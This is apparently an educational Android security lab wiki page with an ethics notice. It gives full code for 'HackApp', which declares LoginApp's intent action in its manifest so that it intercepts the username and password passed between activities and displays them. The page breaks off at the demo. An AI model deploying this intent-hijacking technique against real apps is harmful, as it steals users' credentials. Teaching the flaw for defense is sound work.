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Welcome to the Password_Sniffer Wiki: Development of Stealth Password Sniffer for Android!

Special Notice

These labs are for educational purposes. Readers should perform gracefully based on hacking ethics and should not spread or utilize the code in these labs to harm other Android phone users to gain their own benefits. A more thorough specification of hacking ethics can be found here and here. Please read them carefully.

Objective: Exploiting Android Intent Security

In this lab, we will use a malicious Android application (hackapp) to demonstrate intent security problem on Android platform. The malicious Android application should obtain the intent information from LoginApp if the Show Activity method has same action name and other characteristics as the LoginApp. The following figure gives the basic idea of this security problem.

Activity Goal

Use the Android application developed in Part1 (LoginApp) to demonstrate how hackers can obtain the data sent in other applications (through “Activities” in Android)

Tutorial

Pre-requisite

Download the android project – “LoginApp” from here and import it in Android Studio.

Step1: Create a new android project

a) In “Android Studio”, start a new project and name it HackApp

b) Choose “Gingerbread” API, preferably

c) Select an empty activity

Step2: Layout File

a) In the Android view, navigate to 'app → res → layout'

b) Copy the following code in the activity_main.xml file:

<?xml version="1.0" encoding="utf-8"?>  
<RelativeLayout  
	xmlns:android="http://schemas.android.com/apk/res/android"  
	xmlns:tools="http://schemas.android.com/tools"  
	android:layout_width="match_parent"  
	android:layout_height="match_parent"  
	tools:context="com.example.hackapp.MainActivity">  
		<TextView  
			android:layout_width="wrap_content"  
			android:layout_height="wrap_content"   
			android:text="Hello World!" />  
</RelativeLayout> 

Step3: MainActivity File

a) Copy the following code in the MainActivity.java file:

package com.example.hackapp; 
 
import android.support.v7.app.AppCompatActivity; 
import android.os.Bundle; import android.widget.Toast; 
 
public class MainActivity extends AppCompatActivity { 
    @Override 
    protected void onCreate(Bundle savedInstanceState) 
	{ 
        super.onCreate(savedInstanceState); 
		setContentView(R.layout.activity_main); 
		Bundle bun = getIntent().getExtras(); 
		String result1 = bun.getString("Username"); 
		String result2 = bun.getString("Password"); 
        Toast.makeText(getBaseContext(), "username: "+result1+ "\npassword: "+result2, Toast.LENGTH_SHORT).show(); 
    } 
} 

b) Your project should look like this after creating the new java files:

Step4: Modifying the AndroidManifest.xml file

a) Copy the following code in the AndroidManifest.xml file:

<?xml version="1.0" encoding="utf-8"?> 
<manifest 
xmlns:android="http://schemas.android.com/apk/res/android"  
package="com.example.hackapp"> 
    <application 
		android:allowBackup="true" 
		android:icon="@mipmap/ic_launcher" 
		android:label="@string/app_name" 
		android:supportsRtl="true" 
		android:theme="@style/AppTheme"> 
		<activity android:name=".MainActivity"> 
            <intent-filter> 
				<action android:name="com.example.loginapp.LoginActivity" /> 
				<category android:name="android.intent.category.DEFAULT" /> 
            </intent-filter> 
        </activity> 
    </application> 
</manifest> 

Demo:

a) Run the LoginApp. Input the username and password and click Login. HackApp gets activated and pops up. Here is what is shown in the HackApp: